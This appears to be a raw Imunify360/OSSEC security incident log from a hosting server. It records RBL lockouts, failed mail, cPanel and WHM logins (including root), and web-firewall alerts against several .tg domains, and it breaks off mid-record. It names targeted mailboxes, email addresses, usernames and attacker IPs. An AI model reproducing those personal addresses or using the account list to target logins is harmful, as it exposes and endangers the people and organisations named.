# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.123.219.137
country_id: 1835841
description:
Jun  6 20:17:12 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.123.219.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-06-06 20:17:14 dovecot_login authenticator failed for H=([203.123.219.137]) [203.123.219.137]:45465: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.217.253.159
country_id: 1880251
description:
[2026-06-06 20:16:55 +0000] info [cpaneld] 217.217.253.159 - kavznjyb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.99.211.228
country_id: 2635167
description:
[2026-06-06 20:19:24 +0000] info [whostmgrd] 81.99.211.228 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.60.130.231
country_id: 130758
description:
[2026-06-06 20:18:49 +0000] info [whostmgrd] 62.60.130.231 - root "GET /cpsess1315634147/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 62.60.130.231
country_id: 130758
description:
[2026-06-06 20:18:48 +0000] info [whostmgrd] 62.60.130.231 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.220.160.129
country_id: 2328926
description:
2026-06-06 20:20:06 dovecot_login authenticator failed for H=(tt3HRd0JX) [102.220.160.129]:54542: 535 Incorrect authentication data (set_id=salt@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.220.160.129
country_id: 2328926
description:
Jun  6 20:20:04 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.220.160.129 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.124.131
country_id: 6252001
description:
[2026-06-06 20:21:28 +0000] info [whostmgrd] 82.40.124.131 - NS4 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.131.32.36
country_id: 2921044
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2046||QS:add-to-cart=2046||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.123
country_id: 1269750
description:
Jun  6 20:24:53 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.22.64.0
country_id: 130758
description:
2026-06-06 20:25:04 H=([5.22.64.0]) [5.22.64.0]:36254 F=<John@4452.com> rejected RCPT <emploi@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.42
country_id: 3469034
description:
Jun  6 20:25:14 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Out Your Bronze-Level Money vamvozmviigr.blogspot.ca lz||Email:vinjus80@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:20-27.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.105.52.153
country_id: 2017370
description:
2026-06-06 20:28:22 dovecot_login authenticator failed for H=(60-249-251-88.hinet-ip.hinet.net) [95.105.52.153]:54168: 535 Incorrect authentication data (set_id=ibrahimadiane.papa@sodigaz.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.105.52.153
country_id: 2017370
description:
Jun  6 20:28:20 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.105.52.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.138.142
country_id: 690791
description:
Jun  6 20:30:48 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.138.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.190
country_id: 690791
description:
Jun  6 20:31:06 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.138.142
country_id: 690791
description:
Jun  6 20:30:55 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.138.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.27.158.215
country_id: 2017370
description:
[2026-06-06 20:35:22 +0000] info [whostmgrd] 95.27.158.215 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.139.124.120
country_id: 1835841
description:
Jun  6 20:38:09 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.139.124.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-06-06 20:38:11 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:44776: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.230.158
country_id: 1269750
description:
Jun  6 20:38:13 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.230.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.160.166.237
country_id: 1820814
description:
Jun  6 20:37:59 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.160.166.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.158
country_id: 1269750
description:
2026-06-06 20:38:15 dovecot_login authenticator failed for H=([125.19.196.193]) [182.95.230.158]:59258: 535 Incorrect authentication data (set_id=i.sy@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-06-06 20:38:01 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:53000: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.84.209.188
country_id: 1814991
description:
2026-06-06 20:38:29 dovecot_login authenticator failed for H=(203-75-170-63.hinet-ip.hinet.net) [223.84.209.188]:52076: 535 Incorrect authentication data (set_id=i.sy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.41.84.98
country_id: 798544
description:
2026-06-06 20:38:20 dovecot_login authenticator failed for H=([182.74.216.122]) [31.41.84.98]:37996: 535 Incorrect authentication data (set_id=ibrahimadiane.papa@sodigaz.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.84.209.188
country_id: 1814991
description:
Jun  6 20:38:27 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.84.209.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.67.22
country_id: 1269750
description:
Jun  6 20:38:28 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.67.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.67.22
country_id: 1269750
description:
2026-06-06 20:38:30 dovecot_login authenticator failed for H=([61.72.145.38]) [182.78.67.22]:48540: 535 Incorrect authentication data (set_id=ibrahimadiane.papa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-06-06 20:39:37 dovecot_login authenticator failed for H=(nsg-corporate-73.234.187.122.airtel.in) [122.187.234.73]:40663: 535 Incorrect authentication data (set_id=info@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.73
country_id: 1269750
description:
Jun  6 20:39:35 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.73 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.161.224.78
country_id: 1819730
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1215||QS:add-to-cart=1215||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.233.127.194
country_id: 2017370
description:
2026-06-06 20:40:22 dovecot_login authenticator failed for H=([14.49.240.150]) [94.233.127.194]:47900: 535 Incorrect authentication data (set_id=visite)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.152
country_id: 1835841
description:
2026-06-06 20:40:29 dovecot_login authenticator failed for H=([59.0.127.4]) [183.104.220.152]:36112: 535 Incorrect authentication data (set_id=visite)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.4.68.72
country_id: 1210997
description:
Jun  6 20:40:00 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.4.68.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-06-06 20:40:05 dovecot_login authenticator failed for H=([107.84.153.112]) [49.124.205.169]:58846: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.201.2.253
country_id: 1814991
description:
Jun  6 20:40:09 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.201.2.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.233.127.194
country_id: 2017370
description:
Jun  6 20:40:20 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.233.127.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.104.220.152
country_id: 1835841
description:
Jun  6 20:40:27 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.104.220.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.53.58.10
country_id: 1835841
description:
2026-06-06 20:40:47 dovecot_login authenticator failed for H=([175.200.217.128]) [211.53.58.10]:62461: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.159.93.197
country_id: 1814991
description:
Jun  6 20:40:03 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.159.93.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.159.93.197
country_id: 1814991
description:
2026-06-06 20:40:05 dovecot_login authenticator failed for H=([112.19.161.224]) [117.159.93.197]:36980: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.4.68.72
country_id: 1210997
description:
2026-06-06 20:40:02 dovecot_login authenticator failed for H=(47-154-203-236.fdr01.thok.ca.ip.frontiernet.net) [210.4.68.72]:47324: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.201.2.253
country_id: 1814991
description:
2026-06-06 20:40:11 dovecot_login authenticator failed for H=([182.95.216.153]) [113.201.2.253]:18191: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.53.58.10
country_id: 1835841
description:
Jun  6 20:40:45 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.53.58.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.110.182
country_id: 1269750
description:
Jun  6 20:41:02 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.110.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.110.182
country_id: 1269750
description:
2026-06-06 20:41:04 dovecot_login authenticator failed for H=(89-68-245-7.dynamic.play.pl) [27.123.110.182]:33874: 535 Incorrect authentication data (set_id=visite)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.36.139.231
country_id: 690791
description:
Jun  6 20:41:52 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.36.139.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.36.139.231
country_id: 690791
description:
2026-06-06 20:41:54 dovecot_login authenticator failed for H=host-176-36-139-231.b024.la.net.ua ([49.124.131.248]) [176.36.139.231]:42558: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 150.241.251.51
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:150.241.251.51||TA:150.241.251.51||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.111.170
country_id: 1269750
description:
Jun  6 20:43:20 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.111.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.54.22.11
country_id: 1835841
description:
Jun  6 20:43:29 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.54.22.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-06-06 20:43:32 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([103.220.16.51]) [82.209.191.11]:38558: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.115.211.6
country_id: 2635167
description:
Jun  6 20:43:18 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.115.211.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.115.211.6
country_id: 2635167
description:
2026-06-06 20:43:20 dovecot_login authenticator failed for H=6.211.115.87.dyn.plus.net (hn.kd.ny.adsl) [87.115.211.6]:46922: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.111.170
country_id: 1269750
description:
2026-06-06 20:43:22 dovecot_login authenticator failed for H=([49.124.146.34]) [182.95.111.170]:39066: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.54.22.11
country_id: 1835841
description:
2026-06-06 20:43:31 dovecot_login authenticator failed for H=([65.20.167.160]) [14.54.22.11]:53172: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.209.191.11
country_id: 2661886
description:
Jun  6 20:43:30 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.209.191.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.66.44.246
country_id: 2661886
description:
Jun  6 20:43:33 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.66.44.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-06-06 20:43:35 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com (166.143.48.116.static.netvigator.com) [78.66.44.246]:54416: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.77.137.236
country_id: 1605651
description:
Jun  6 20:44:16 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.77.137.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.73
country_id: 1269750
description:
Jun  6 20:44:18 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-06-06 20:44:20 dovecot_login authenticator failed for H=([70.166.167.37]) [122.187.234.73]:44920: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.129
country_id: 1269750
description:
Jun  6 20:44:03 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.129 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.129
country_id: 1269750
description:
2026-06-06 20:44:05 dovecot_login authenticator failed for H=([70.166.167.37]) [122.187.229.129]:59998: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.77.137.236
country_id: 1605651
description:
2026-06-06 20:44:18 dovecot_login authenticator failed for H=([131.196.178.242]) [110.77.137.236]:42246: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.41.103
country_id: 1814991
description:
Jun  6 20:46:39 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.41.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.219.219.139
country_id: 1269750
description:
Jun  6 20:46:40 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.219.219.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.145
country_id: 732800
description:
Jun  6 20:46:07 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.69
country_id: 953987
description:
Jun  6 20:46:34 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.208.195.210
country_id: 2017370
description:
2026-06-06 20:46:41 dovecot_login authenticator failed for H=(45-181-101-92.plugartelecom.net.br) [185.208.195.210]:34455: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.99
country_id: 690791
description:
Jun  6 20:46:06 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.41.103
country_id: 1814991
description:
2026-06-06 20:46:41 dovecot_login authenticator failed for H=([101.13.6.91]) [60.172.41.103]:38411: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.6.71
country_id: 2395170
description:
Jun  6 20:46:06 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.6.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.81
country_id: 690791
description:
Jun  6 20:46:25 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.82.108.109
country_id: 1269750
description:
Jun  6 20:47:11 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.82.108.109 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.65.53
country_id: 1512440
description:
2026-06-06 20:46:53 dovecot_login authenticator failed for H=([70.166.167.44]) [213.230.65.53]:51040: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.6.214
country_id: 3077311
description:
Jun  6 20:46:59 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.6.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.115.194
country_id: 1269750
description:
Jun  6 20:47:00 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.115.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-06-06 20:47:13 dovecot_login authenticator failed for H=([218.25.233.2]) [183.82.108.109]:57366: 535 Incorrect authentication data (set_id=j.delbegue)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.197.111.225
country_id: 6252001
description:
Jun  6 20:47:14 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.197.111.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.12.106.119
country_id: 1814991
description:
Jun  6 20:47:26 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.12.106.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.12.106.119
country_id: 1814991
description:
2026-06-06 20:47:28 dovecot_login authenticator failed for H=(nsg-corporate-169.12.186.122.airtel.in) [60.12.106.119]:38550: 535 Incorrect authentication data (set_id=j.delbegue)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.219.219.139
country_id: 1269750
description:
Jun  6 20:46:49 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.219.219.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.115.194
country_id: 1269750
description:
2026-06-06 20:47:02 dovecot_login authenticator failed for H=([122.184.136.185]) [182.95.115.194]:55202: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.197.111.225
country_id: 6252001
description:
2026-06-06 20:47:16 dovecot_login authenticator failed for H=([49.0.36.122]) [67.197.111.225]:54706: 535 Incorrect authentication data (set_id=j.delbegue)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.69
country_id: 953987
description:
Jun  6 20:46:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.230.65.53
country_id: 1512440
description:
Jun  6 20:46:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.230.65.53 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.98.155
country_id: 6252001
description:
[2026-06-06 20:48:33 +0000] info [cpaneld] 192.204.98.155 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.185.41.17
country_id: 2635167
description:
[2026-06-06 20:49:31 +0000] info [whostmgrd] 86.185.41.17 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.171.125.94
country_id: 1835841
description:
Jun  6 20:50:55 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.171.125.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.171.125.94
country_id: 1835841
description:
2026-06-06 20:50:57 dovecot_login authenticator failed for H=(red.170.233.29.157.ssservicios.com.ar) [111.171.125.94]:50154: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.6.115.88
country_id: 1814991
description:
Jun  6 20:51:10 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.6.115.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.6.115.88
country_id: 1814991
description:
2026-06-06 20:51:12 dovecot_login authenticator failed for H=([38.108.83.81]) [183.6.115.88]:60144: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.33.186
country_id: 6252001
description:
[2026-06-06 20:51:37 +0000] info [cpaneld] 104.207.33.186 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.103.43.74
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/cgi-sys/suspendedpage.cgi HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-06 20:52:25 +0000] info [cpaneld] 195.3.220.88 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.249.35
country_id: 3469034
description:
Jun  6 20:53:39 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.249.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.165
country_id: 953987
description:
Jun  6 20:53:32 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.40.72
country_id: 3469034
description:
Jun  6 20:53:33 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.40.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.249.35
country_id: 3469034
description:
Jun  6 20:53:54 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.249.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.165
country_id: 3175395
description:
Jun  6 20:53:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.246
country_id: 3469034
description:
Jun  6 20:54:24 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.92.181
country_id: 3469034
description:
Jun  6 20:54:14 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.92.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.221.50.135
country_id: 953987
description:
